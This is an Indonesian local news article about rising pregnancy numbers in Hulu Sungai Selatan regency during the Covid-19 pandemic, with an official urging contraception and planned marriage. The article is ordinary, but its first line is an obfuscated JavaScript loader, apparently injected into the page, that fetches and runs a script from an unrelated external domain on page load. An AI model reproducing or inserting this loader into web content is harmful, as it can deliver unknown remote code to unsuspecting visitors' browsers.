(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KANDANGAN – Akhir-akhir ini banyak sekali warganet pamer testpack dengan keterangan dua garis alias positif. Ini menunjukkan bahwa tingkat kehamilan meninggi saat pandemi.
Menurut data BKKBN tahun 2020, dilaporkan ada 400.000 kehamilan tidak terencana skala nasional saat wabah Covid-19.
Sementara itu di Kabupaten Hulu Sungai Selatan (HSS), tingkat kehamilan saat pandemi juga cukup tinggi. Dibeberkan Kabid Pengendalian Penduduk dan Keluarga Sejahtera Dinas PPKBPPPA Kabupaten HSS, Ermansyah, jumlah kehamilan saat pandemi meningkat.
Baca juga: Derita Sopir Taxi Palnam Saat PPKM, 4 Hari Tak Berani Pulang hingga Utang di Warung Menumpuk!
“Bisa dibilang meningkat. Tahun 2019 angka kehamilan di HSS itu berjumlah 1.125, tahun 2020 sebanyak 1.474, dan tahun 2021 itu 1.321,” ujarnya kepada Kanalkalimantan.com pada Kamis (5/8/2021) sore.
“Hamil di masa pandemi ini sangat beresiko. Bukan hanya dari stabilitas ekonomi, tapi juga kesehatan ibu dan janin. Resiko kegagalan dan terpapar virus, itu sangat berbahaya,” kata Erman.
Ia dengan para kader keluarga berencana (KB) di setiap kecamatan tidak pernah berhenti untuk mensosialisasikan pentingnya alat kontrasepsi dan perencanaan kehamilan.
“Bagi saya, sekarang sudah cukup baik untuk kesadaran masyarakat. Walaupun masih ada ditemukan di HSS yang jumlah anaknya lebih dari 2 dengan jarak kelahira yang dekat, tapi dibandingkan beberapa tahun lalu persentase untuk itu sudah jauh berkurang,” ucapnya.
Erman menambahkan, selain sosialisasi tentang urgensi penggunaan alat kontrasepsi, juga ada pemberian alat kontrasepsi gratis untuk keluarga yang kurang mampu di puskesmas-puskesmas setempat.
Baca juga: Vaksinasi Massal di Citimall Kuala Kapuas
“Kehamilan itu baiknya direncanakan, saya sangat mendukung jika ada orang yang mempunyai banyak anak dan dia tergolong mampu. Kemampuan di sini adalah secara materi dan mental, materi untuk membiayai pendidikan anak-anaknya dan mental untuk mendidik di rumah. Kalau begitu, kan akan lahir generasi-generasi yang baik. Beda cerita kalo secara materi tidak mampu menyekolahkan dan secara mental tidak siap menjadi orang tua, yang seperti ini harus ikut program keluarga berencana!” tegasnya.
Ia berharap generasi-generasi sekarang baik yang sudah menikah ataupun masih belia sudah merencanakan untuk keberlangsungan rumah tangga.
“Tidak hanya sekedar menikah, tapi saya berharap khususnya kepada generasi muda agar merencanakan pernikahan dan kehamilan dengan sangat matang. Jangan menikah di usia anak, minimal lebih dari 19 tahun. Lalu merencanakan kehamilan dengan materi dan mental yang cukup,” harap Erman.(Kanalkalimantan.com/nurul)
Reporter: nurul
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Wilayah (Kanwil) Direktorat Jenderal Bea dan Cukai Bagian Kalimantan Selatan (DJBC… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menerima Laporan Hasil Pemeriksaan (LHP) dengan Tujuan Tertentu Kepatuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 28 ribu butir obat keras dan 175 gram narkotika jenis sabu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan Penghargaan Proklim dan Adiwiyata tahun 2024 di Mahligai… Read More
KANALKALIMANTAN.COM, SAMARINDA - Warga di Kota Samarinda, Kalimantan Timur, geger penganiayaan brutal yang diduga dilakukan… Read More
This website uses cookies.